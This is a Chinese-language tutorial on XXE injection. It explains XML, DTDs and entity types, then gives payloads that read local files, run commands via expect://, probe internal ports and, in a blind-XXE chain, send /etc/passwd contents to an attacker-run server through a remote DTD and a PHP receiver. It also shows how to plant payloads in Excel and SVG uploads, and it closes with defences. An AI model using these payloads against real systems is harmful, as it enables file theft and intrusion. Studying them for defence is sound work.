人无法同时拥有青春,和对于青春的感受,有些东西要靠失去才能明白它的珍贵。
定义
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
xxe漏洞原理:
XXE Injection(XML Extemal Entity Injection,XML外部实体注入攻击)攻击者可以通过XML的外部实体来获取服务器中本应被保护的数据,对于XXE漏洞最为关键的部分是DTD文档类型,DTD的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用,libxml2.9.1及以后,默认不在解析外部实体。
XXE危害:配合各种协议,可以读取任意文件、执行系统命令、探测内网端口、攻击内网网站等。
XXE成因:解析XML时允许引用外部实体。例如PHP环境中,libxml库<=2.9.0默认启用外部实体。需要注意的是,和PHP版本无关,只是不同版本的PHP自带不同版本的libxml库罢了。SimpleXMl库提供了解析XML的函数,libxml提供了禁用外部实体的函数和一些核心功能,SimpleXML依赖于libxml。其他脚本语言中类似。
XXE防御手段:在处理XML数据时,禁用外部实体或者严格过滤用户输入可以在一定程度上防御或缓解XXE攻击。
基础知识:
什么是XML :
xml是可扩展标记语言,XML被设计用来传输和储存数据,你可以理解为就是一种鞋码类似于html语言的数据格式文档。但是xml跟html是为不同目的而设计的,heml旨在显示数据信息,而xml旨在传输数据信息。
什么是DTD:
与XML格式相关,DTD(文档类型定义)的作用是定义XML文档的合法构建模块,也就是说声明了xml的内容格式规范。它使用一系列合法的元素来定义文档的结构。
DTD的声明方式:
DTD可被成行地声明于XML文档中,也可作为一个外部引用。
1.内部DTD:对XML文档中地元素、属性和实体地DTD地声明都在XML文档中。
2.外部DTD:对XML文档中地元素、属性和实体地DTD地声明都在一个独立地DTD文件(.dtd)中。
内部
假如DTD被包含在您地XML院文件中,他应当通过下面地语法包装在DOCTPE声明中:
带有DTD地XML文档实例:
<?xml version="1.0"?> //声明了版本信息
<!DOCTYPE note [ //定义此文档是“note”类型文档
<!ELEMENT note (to,form,heading,body)>//定义 note 元素有四个元素:“to,from,heading,body"
<!ELEMENT to (#PCDATA)> //to元素为"#pcdata"类型
<!ELEMENT from (#PCDATA)>//from元素为"#pcdata"类型
<!ELEMENT heading (#PCDATA)>//heading元素为"#pcdata"类型
<!ELEMENT body (#PCDATA)>//body元素为"#pcdata"类型
<!ENTITY writer "hello word">//ENEITY定义了一个内部实体,类似于变量
]>
<note>
<to>Grorge</to>
<from>John</from>
<heading>Reminder</heading>
<body>&writer;</body>
</note>
注:
PCDATA 指的是被解析的字符数据 ,可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
当我们把类型换成CDATA时
报错。
文档结构:
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
也就是说,这样的dtd就定义了xml的根元素是note,然后根元素下有to,from,heading,body四个子元素,而且body元素的类型为"#PCDATA",这样的定义就固定了文档元素的内容格式,而后面body元素里的"&writer;"就是对内部实体的引用,到输出的时候&writer就会被“helloworld”替换。
外部
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY> //定义元素ANY,既可以接受任何元素;
<!ENTITY xxe SYSTEM "file:///c:/test.dta" >]>//定义了一个外部实体,文档会对c:/test.dta文件资源进行引用,这是一种用SYSTEM关键字的引用方式。
<root>
<body>&xxe;
</body>
</root>
什么是实体
我们可以理解为一个实体其实就是一个变量。
实体是用来定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
实体的分类
1.内置实体
实体 | 实体引用 | 含义 |
lt | < | <(小于号) |
gt | > | >(大于号) |
amp | & | &("and"符) |
apos | ' | '(撇号或单引号) |
quot | " | "(双引号) |
2.字符实体
实体名称 | 符号 | 十进制参考 | 十六进参考 |
quto | " | " | " |
amp | & | & | & |
apos | ' | ' | & |
lt | < | < | < |
gt | > | > | > |
其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个和号&,一个实体名称,以及一个分号;。
3.通用实体(Generalentities)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<root>
<body>&xxe</body>
</root>
4.参数实体
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM
"http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
remote.did:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
一个外部实体声明
语法:<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD例子:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML例子:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY %file SYSTEM "http://192.168.64.130/entities.dtd">
%file;
]>
<c>&writer;</c>
通过这个dtd我们可以看出来区别,就是实体名前面有个%,而在通用实体中是没有的,并且只能在dtd中使用%实体名,有不同也有相同的地方,和通用实体一样,参数实体也可以在外部引用dtd。所以这里的重点就是参数实体只能在dtd中使用,引用。
XXE漏洞利用
XXE漏洞可能存在的地方
XXE漏洞主要是关注测试的目标系统,是否存在请求传输XML数据格式的API,如果遇到有XML数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。
可上传excel的上传点、图片上传点
任意文件读取
1.抓取测试目标的相关请求数据包,发现XML格式数据传输
2.发现分析发现请求中的username字段会回显
3.尝试构造xml。
系统命令执行
在安装expect扩展的PHP环境里执行系统命令;
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username [
<!ELEMENT name ANY>
<!ENTITY file SYSTEM "expect://ipconfig">
]>
<user><username>
&file;
</username><password>1</password></user>
探测内网端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username [
<!ELEMENT name ANY>
<!ENTITY file SYSTEM "http://192.168.1.6:22">
]>
<user><username>
&file;
</username><password>2</password></user>
无回显XXE漏洞利用
xml内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM "http://192.168.64.130/entities.dtd">
%remote;
%all;
%send;
]>
远程端vps上在www/html文件加下放置两个文件为test.php文件用于接受信息,另一个为test.dtd,其中test.php代码如下:
<?php
$file="./test.txt";
$content=base64_decode($_GET['file']);
file_put_contents($file,$content);
echo "\n";
?>
test.dtd:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.64.130/tets.php?file=%file;'>"
>
把"%"转成html实体编码是因为在实体的值中不能有%,所以需要转成%;
EXCEL&SVG XXE漏洞
excel xxe利用文档制作
1.创建一个新的excel文档:test.xlsx
2.解压test.xlsx到指定目录
mkdir xxe && unzip test.xlsx -d xxe
3.修改解压目录中的xl目录下的workbook.xml内容插入payload
4.保存文件内容,压缩成test.xlsx
zip -r text.xlsx xxe
SVG XXE
应用程序可能允许用户上传图像,并在删除更换后服务器上处理或验证这些图像,即使应用程序希望接受PNG或JPEG等格式,所使用的图像处理库页可能支持SVG图像。由于SVG格式使用XML,攻击者可以提交恶意的SVG图像,从而达到XXE漏洞的隐藏攻击面。
XXE防御措施
1.字符串实体编码转义。
字符 | 转义 |
< | < |
> | > |
& | & |
' | ' |
" | " |
2.过滤用户提交的XML数据,关键词:,SYSTEM和PUBLIC;
3.禁用外部实体:libxml_disable_entity_loader(true);